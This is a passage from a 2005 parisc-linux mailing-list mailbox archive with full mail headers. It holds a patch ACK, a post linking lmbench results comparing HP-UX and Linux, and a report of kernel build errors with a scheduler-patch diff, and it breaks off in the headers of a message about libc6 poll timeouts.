	<Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
	<20050828145711.07974414@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623919 16651 80.91.229.3 (22 Nov 2014 02:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:39 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 Clemens Ladisch <clemens@ladisch.de>,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2005 02:42:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 31 Aug 2005 04:42:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49F987D689;
	Tue, 30 Aug 2005 20:42:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05227-08; Tue, 30 Aug 2005 20:42:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 691BF7D686;
	Tue, 30 Aug 2005 20:42:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B73817D684
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Aug 2005 20:42:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05227-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Aug 2005 20:42:20 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 2866F7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Aug 2005 20:42:20 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 97F9517081;
	Tue, 30 Aug 2005 22:42:04 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17772-09; Tue, 30 Aug 2005 22:41:48 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id E71741707B; Tue, 30 Aug 2005 22:41:47 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-770634521-52656d6f746546617454697265-494e424f582e4f7574626f78: 1125456042-00420403917032-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050828145711.07974414@Tatooine.r3z0>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QHxnYyRBeSEkSr6WZHQhaXN1IGRvb8Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23143

On Sun, Aug 28, 2005 at 02:57:11PM +0200, Thibaut VARENE wrote:
> kyle: if it's fine for you too, please let us know and commit this patch
> to the parisc tree, i'll be offline for yet another bunch of days alas :P
>

ACK. Will commit tonight. 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C160 lmbench results comparing HPUX & Linux
Date: Sat, 03 Sep 2005 15:20:13 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <431A138D.5010105@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623919 16654 80.91.229.3 (22 Nov 2014 02:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2005 21:20:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 03 Sep 2005 23:20:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75B7B7D676;
	Sat,  3 Sep 2005 15:20:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07388-09; Sat, 3 Sep 2005 15:20:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 629A37D677;
	Sat,  3 Sep 2005 15:20:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7200D7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Sep 2005 15:20:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07388-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Sep 2005 15:20:16 -0600 (MDT)
Original-Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id D39557D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Sep 2005 15:20:16 -0600 (MDT)
Original-Received: from pd3mr8so.prod.shaw.ca (pd3mr8so-qfe3.prod.shaw.ca [10.0.141.24])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IM900KGYF9RKS60@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 03 Sep 2005 15:20:15 -0600 (MDT)
Original-Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145])
	by pd3mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IM9006QGF9R4GE0@pd3mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 03 Sep 2005 15:20:15 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IM900CCEF9RCQ@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 03 Sep 2005 15:20:15 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j83LKD9x009063	for
	<parisc-linux@lists.parisc-linux.org>; Sat, 03 Sep 2005 15:20:14 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ynZoY/wGeSEkbb6WZHQhaXN1IGRvbwAR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23144

In the thread where I first posted about my C160 scoring much lower in
HPUX, someone mentioned that it might be better to offer lmbench
results.  Didn't have time before our summer-end camping trip, but I've
now finished this.

Raw results: http://www.excelcia.org/~kfitzner/misc/lmbench_c160_raw.tar.gz

PDF with graphs:
http://www.excelcia.org/~kfitzner/misc/lmbench_c160.pdf

The raw data has all three runs I performed on each OS.  The pdf graphs
have the first run for each OS since there is little variation in each run.

Anyone see anything significant here?  I don't really.

	Kurt.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.13-pa1 + mm1 relayfs + relay-apps-0.8 works
	for	the most
Date: Fri, 09 Sep 2005 19:54:14 +0000
Lines: 149
Approved: news@gmane.org
Message-ID: <4321E866.7050106@tiscali.be>
References: <IMI60O$028EFC99FEAF5A22C521A5C6437C7977@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623919 16656 80.91.229.3 (22 Nov 2014 02:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:39 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Sep 2005 19:58:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 09 Sep 2005 21:58:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97F707D698;
	Fri,  9 Sep 2005 13:58:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24937-10; Fri, 9 Sep 2005 13:58:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 822797D69C;
	Fri,  9 Sep 2005 13:58:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 980457D690
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Sep 2005 13:58:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24937-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Sep 2005 13:58:07 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 81FA17D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Sep 2005 13:58:06 -0600 (MDT)
Original-Received: from (ip-213-49-174-138.dsl.scarlet.be [213.49.174.138]) 
	by oola.is.scarlet.be  with ESMTP id j89JsIi07226; 
	Fri, 9 Sep 2005 21:54:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <IMI60O$028EFC99FEAF5A22C521A5C6437C7977@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D4xTY3sDeSEkc76WZHQhaXN1IGRvb4Cp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23145



Joel Soete wrote:
> Hello all,
> 
> Just for info:
> I just finishe to play to grab relayfs from 2.6.13-mm1 (I didn't apply all
> because spinlock-consolidation affraid me a bit)

Much more fore reminder: today it was mm2 and hack it just a few but :_(
   gcc -Wp,-MD,arch/parisc/kernel/.asm-offsets.s.d  -nostdinc -isystem /usr/lib/gcc/hppa-linux-gnu/4.0.2/include -D__KERNEL__ -Iinclu
de -Iinclude2 -I/usr/src/linux-2.6.13-pa1-mm2-20050908/include -I/usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel -Iarch/pa
risc/kernel -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -ffreestanding -O2 -fomit-frame-pointe
r -pipe -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7200 -Wdeclaration-after-st
atement -Wno-pointer-sign  -DKBUILD_BASENAME=asm_offsets -DKBUILD_MODNAME=asm_offsets -S -o arch/parisc/kernel/asm-offsets.s /usr/sr
c/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c
In file included from include2/asm/spinlock.h:6,
                  from include2/asm/bitops.h:6,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/preempt.h:10,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:50,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/spinlock_types.h:14: error: conflicting types for 'raw_spinlock_t'
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_types_up.h:30: error: previous declaration of 'raw_spinlock_t' was her
e
In file included from include2/asm/spinlock.h:6,
                  from include2/asm/bitops.h:6,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/preempt.h:10,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:50,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/spinlock_types.h:22:1: warning: "__RAW_SPIN_LOCK_UNLOCKED" redefined
In file included from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_types.h:15,
                  from include2/asm/processor.h:14,
                  from include2/asm/spinlock.h:5,
                  from include2/asm/bitops.h:6,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/preempt.h:10,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:50,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_types_up.h:32:1: warning: this is the location of the previous definit
ion
include2/asm/spinlock_types.h:27: error: conflicting types for 'raw_rwlock_t'
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_types_up.h:43: error: previous declaration of 'raw_rwlock_t' was here
In file included from include2/asm/spinlock.h:6,
                  from include2/asm/bitops.h:6,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/preempt.h:10,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:50,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/spinlock_types.h:29:1: warning: "__RAW_RW_LOCK_UNLOCKED" redefined
In file included from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_types.h:15,
                  from include2/asm/processor.h:14,
                  from include2/asm/spinlock.h:5,
                  from include2/asm/bitops.h:6,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/preempt.h:10,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:50,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_types_up.h:45:1: warning: this is the location of the previous definit
ion
In file included from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:90,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock_up.h:71:1: warning: "__raw_spin_unlock_wait" redefined
In file included from include2/asm/bitops.h:6,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/preempt.h:10,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/spinlock.h:50,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/spinlock.h:20:1: warning: this is the location of the previous definition
In file included from include2/asm/semaphore.h:28,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/wait.h: In function 'init_waitqueue_head':
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/wait.h:82: error: unknown field 'lock' specified in initializer
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/wait.h:82: error: extra brace group at end of initializer
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/wait.h:82: error: (near initialization for '(anonymous).raw_lock')
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/wait.h:82: warning: excess elements in struct initializer
/usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/wait.h:82: warning: (near initialization for '(anonymous).raw_lock')
In file included from /usr/src/linux-2.6.13-pa1-mm2-20050908/include/linux/sched.h:20,
                  from /usr/src/linux-2.6.13-pa1-mm2-20050908/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/semaphore.h: In function 'sema_init':
include2/asm/semaphore.h:63: error: unknown field 'lock' specified in initializer
include2/asm/semaphore.h:63: error: extra brace group at end of initializer
include2/asm/semaphore.h:63: error: (near initialization for '(anonymous).raw_lock')
include2/asm/semaphore.h:63: warning: excess elements in struct initializer
include2/asm/semaphore.h:63: warning: (near initialization for '(anonymous).raw_lock')
include2/asm/semaphore.h:63: error: unknown field 'lock' specified in initializer
include2/asm/semaphore.h:63: error: extra brace group at end of initializer
include2/asm/semaphore.h:63: error: (near initialization for '(anonymous).raw_lock')
include2/asm/semaphore.h:63: warning: excess elements in struct initializer
include2/asm/semaphore.h:63: warning: (near initialization for '(anonymous).raw_lock')
make[2]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 2
make: *** [vmlinux] Error 2

I need a more detail attention and time to try to fix that stuff ...

but where I couldn't help it's in sched-add-cacheflush-asm.patch:
diff -puN include/asm-parisc/system.h~sched-add-cacheflush-asm include/asm-parisc/system.h
--- devel/include/asm-parisc/system.h~sched-add-cacheflush-asm	2005-09-07 20:11:01.000000000 -0700
+++ devel-akpm/include/asm-parisc/system.h	2005-09-07 20:11:02.000000000 -0700
@@ -49,6 +49,15 @@ extern struct task_struct *_switch_to(st
  	(last) = _switch_to(prev, next);			\
  } while(0)

+/*
+ * On SMP systems, when the scheduler does migration-cost autodetection,
+ * it needs a way to flush as much of the CPU's caches as possible.
+ *
+ * TODO: fill this in!
+ */
+static inline void sched_cacheflush(void)
+{
+}


  /* interrupt control */

Any idea?

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New libc6 2.3.5-6: poll timeouts
Date: Sun, 11 Sep 2005 12:06:33 -0400 (EDT)
Lines: 82
Approved: news@gmane.org
Message-ID: <200509111606.j8BG6X7U025669@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623919 16660 80.91.229.3 (22 Nov 2014 02:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2005 16:06:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 11 Sep 2005 18:06:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 349717D69C;
	Sun, 11 Sep 2005 10:06:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
